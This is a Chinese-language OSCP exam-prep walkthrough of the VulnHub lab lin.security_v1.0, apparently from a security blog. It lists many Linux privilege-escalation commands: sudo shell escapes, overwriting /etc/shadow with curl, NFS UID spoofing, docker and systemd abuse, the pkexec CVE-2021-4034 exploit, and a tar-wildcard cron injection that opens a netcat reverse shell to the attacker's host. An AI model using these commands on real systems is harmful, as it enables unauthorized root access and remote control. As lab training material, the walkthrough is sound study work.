oscp备考,oscp系列——lin.security_v1.0靶场,32提权方法,nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,taskset提权、pkexec提权
公众号:泷羽Sec-尘宇安全
前言
oscp备考,oscp系列——lin.security_v1.0靶场,32提权方法,nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权,/etc/passwd哈希解码提权
难度简单偏下,不过提权方式有很多
- 对于低权限shell获取涉及:ssh连接,敏感隐藏文件
- 对于提权:nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权,
/etc/passwd哈希解码提权
下载地址:
https://www.vulnhub.com/entry/linsecurity-1,244/
下载完成之后需要配置,ens33环境,可以参考这一篇文章
lin.security_v1.0靶机_lin.security 搭建-CSDN博客
嫌麻烦的可以现在我已经配置好的靶机
https://pan.quark.cn/s/90ee80dd2e7c
靶机的作者对靶机有描述

在in.security,我们想开发一个Linux虚拟机,在撰写本文时,该虚拟机基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,允许用户升级到机箱上的root。这是为了帮助理解某些内置应用程序和服务如果配置错误,可能会被攻击者滥用。
我们已将该框配置为模拟真实世界的漏洞(尽管在单个主机上),这将帮助您完善本地权限升级技能、技术和工具集。有许多挑战,从相当简单到中等水平,我们很高兴看到您用来解决这些问题的方法!
该图像略低于1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入一个名为lin.security的VM,并使用NAT适配器进行配置,但可以通过首选虚拟化平台的首选项将其更改为桥接。
要开始,您可以使用凭据登录主机:bob/secret
告诉我们这个靶机有很多漏洞,提示了一个账号密码,进行提权
nmap
主机发现
└─# nmap -sn 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:36 CST
Nmap scan report for 10.10.10.1 (10.10.10.1)
Host is up (0.00060s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2 (10.10.10.2)
Host is up (0.00020s latency).
MAC Address: 00:50:56:F2:C6:98 (VMware)
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.00026s latency).
MAC Address: 00:0C:29:97:4D:A5 (VMware)
Nmap scan report for 10.10.10.254 (10.10.10.254)
Host is up (0.00022s latency).
MAC Address: 00:50:56:F7:20:A7 (VMware)
Nmap scan report for 10.10.10.128 (10.10.10.128)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.91 seconds
端口扫描
└─# nmap --min-rate 10000 -p- 10.10.10.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:37 CST
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.00071s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
2049/tcp open nfs
34283/tcp open unknown
37763/tcp open unknown
38521/tcp open unknown
58085/tcp open unknown
MAC Address: 00:0C:29:97:4D:A5 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 44.00 seconds
└─# nmap --min-rate 10000 -p- 10.10.10.130 -sU
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:38 CST
Warning: 10.10.10.130 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.0012s latency).
Not shown: 65451 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
2049/udp open nfs
39992/udp open unknown
47918/udp open unknown
54762/udp open unknown
57397/udp open unknown
MAC Address: 00:0C:29:97:4D:A5 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 72.99 seconds
详细端口扫描
└─# nmap -sV -sT -sC -O -p22,111,2049,34283,37763,38521,58085 10.10.10.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:42 CST
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
| 256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_ 256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34283/tcp mountd
| 100005 1,2,3 46589/udp6 mountd
| 100005 1,2,3 53143/tcp6 mountd
| 100005 1,2,3 57397/udp mountd
| 100021 1,3,4 37763/tcp nlockmgr
| 100021 1,3,4 41305/tcp6 nlockmgr
| 100021 1,3,4 47918/udp nlockmgr
| 100021 1,3,4 59835/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
34283/tcp open mountd 1-3 (RPC #100005)
37763/tcp open nlockmgr 1-4 (RPC #100021)
38521/tcp open mountd 1-3 (RPC #100005)
58085/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:97:4D:A5 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds
vuln扫描
└─# nmap --script=vuln -p22,111,2049,34283,37763,38521,58085 10.10.10.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:43 CST
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.00047s latency).
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
2049/tcp open nfs
34283/tcp open unknown
37763/tcp open unknown
38521/tcp open unknown
58085/tcp open unknown
MAC Address: 00:0C:29:97:4D:A5 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds
提权
使用账号密码进行ssh连接
bob/secret
sudo提权,25种

发现可以使用很多命令
/bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env,
/usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat,
/usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git,
/usr/bin/script, /usr/bin/scp
直接ash | dash | sh | bash | csh | zsh提权
这里以dash举例
sudo /bin/dash

awk提权
sudo awk 'BEGIN {system("/bin/sh")}'

curl提权
先在kali做一些准备,生成明文密码的hash
-m指定加密方法,一般linux用户shadow文件中存储的是sha-512加密算法的hash
参照kali中shadow文件root用户的hash值替换保存起来备用
mkpasswd -m sha-512 123456
cat /etc/shadow | grep root
vim shadow_root
root:$6$UKOY2VpXTU3I9ylS$WxSICICPMBCkxCVZGq/uKCt7SYJUulcIriyKDhKzZgNCtSy9VXaEMKvcGK5A3hrHhTOfevNny1MUXRtTmgozK/:20103:0:99999:7:::

在kali上面制作一个简易的web服务器,使用curl命令下载并覆盖原有的shadow文件,直接使用su命令,输入123456切换成功
sudo curl http://10.10.10.128/shadow_root -o /etc/shadow

ed提权
sudo ed
!/bin/sh

env提权
sudo env /bin/sh

expect提权
sudo expect -c 'spawn /bin/sh;interact'

find提权
sudo find . -exec /bin/sh \; -quit

ftp提权
sudo ftp
!/bin/sh

less提权
sudo less /etc/profile
!/bin/sh

man提权
sudo man man
!/bin/sh

scp提权
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

socat提权

ssh提权
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

vi提权
sudo vi -c ':!/bin/sh' /dev/null

pico提权
sudo pico
^R^X # ^R和^X表示需要选中的选项,其实是ctrl+R ctrl+X
reset; sh 1>&0 2>&0

rvim提权
sudo rvim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

perl提权
sudo perl -e 'exec "/bin/sh";'

tclsh提权
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr

git提权
sudo git -p help config
!/bin/sh

script提权
sudo script -q /dev/null

nfs提权
nmap扫描发现存在,nfs
2049/tcp open nfs
尝试挂载一下,发现没有权限
mkdir nfs
mount -t nfs 10.10.10.130:/home/peter /tmp/nfs/

看来需要创建一个相同的用户才行
先给他取消挂载,发现取消不了,查看一下进程,给他取消掉
fuser -m -v /tmp/nfs
kill -9 进程号

查看一下peter用户信息

在kali上面创建一个用户
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005
用完之后可以删除用户
sudo userdel -r peter
拥有权限了

ssh公钥写入
进行公钥写入
在root用户下,执行ssh-keygen命令生成秘钥
ssh-keygen -t rsa

在nfs目录创建一个.ssh目录,将刚才生成的公钥id_rsa.pub复制到/tmp/nfs/.ssh目录下,并重命名为authorized_keys
cp id_rsa.pub /tmp
mkdir .ssh
cd .ssh
cp /tmp/id_rsa.pub authorized_keys

连接成功,发现可以使用strace命令,查找一下,发现可以直接进行提权
sudo+strace提权

sudo strace -o /dev/null /bin/sh

利用 docker 组提权
发现peter在docker这个组里面

可以根据https://fosterelli.co/privilege-escalation-via-docker.html
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
systems 配置不当提权
历史上,Linux 的启动一直采用 init 进程:
sudo /etc/init.d/sshd start
# 或者
service sshd start
这种方法有两个缺点:
一是启动时间长。init 进程是串行启动,只有前一个进程启动完,才会启动下一个进程。
二是启动脚本复杂。init 进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。
Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用 init 了。Systemd 取代了 initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。 systemctl 是 Systemd 的主命令,用于管理系统。
# 重启系统
sudo systemctl reboot
查看 peter 用户的 systemd 配置,发现 peter 这个用户拥有 debug.service 文件,并且它对这个文件拥有读和写的权限。
whereis systemd
ls -al /lib/systemd/system/debug.service

如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的 .service 文件并更改 run() 命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。
查看 .service 文件,这里我们可以修改 ExecStart 文件,除此之外还可以修改 ExecStop 和 ExecReload 来在停止和重启服务时执行命令。 查看该 .service 文件:
cat /lib/systemd/system/debug.service

ExecStart 为 /root/debug,这是一个二进制服务并且该服务以 root 身份运行。 接下来为了利用,使用一个类似 ssh 可以 sudo 执行的方法。 让 root 身份来创建一个 systemdexpl.sh 脚本,将 /bin/bash 文件复制到 systemdbash 并设置一个 SUID 位并且赋予执行权限。
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh
修改 debug.service 文件来调用我们的脚本(root 调用 debug.service,而 debug.service 又调用我们的 systemdexpl.sh 脚本)修改 ExecStart 为当前脚本。
vim /lib/systemd/system/debug.service

suid,pkexec提权
使用命令查找
find / -perm -u=s -type f 2>/dev/null
发现pkexec

尝试提权,项目地址
https://github.com/arthepsy/CVE-2021-4034

suid,taskset提权

发现存在提权

taskset 1 /bin/sh

计划任务+tar通配符提权
发现一个定时任务

发现是tar命令和通配符*,尝试通配符tar提权
进入bob用户目录,创建
echo "" > --checkpoint=1
echo "mkfifo /tmp/vqfv; nc nc 10.10.10.128 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"

反弹成功,获取root权限

/etc/passwd哈希解码提权
linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中
比如:root:\x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上
/etc/passwd/
普通用户权限能够查看
保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分
1.用户名
2.密码,x表示密码保存在/etc/shadow
3.UID,0代表root
4.GID,表示所在组
5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6.用户主目录
7.默认shell类型
/etc/shadow/
只有root用户权限能够查看
保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分
1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留
#由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值
查看一下etc/passwd发现存在明文密码,尝试解密

insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh

得到
insecurity/P@ssw0rd!
切换一下用户,得到root权限

敏感隐藏文件
进行信息收集,发现susan用户目录,有一个不同的隐藏文件,打开发现一串字符

也可以使用
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
进行查找
尝试用户切换,切换成功,不过这个用户的权限更低

更多推荐
所有评论(0)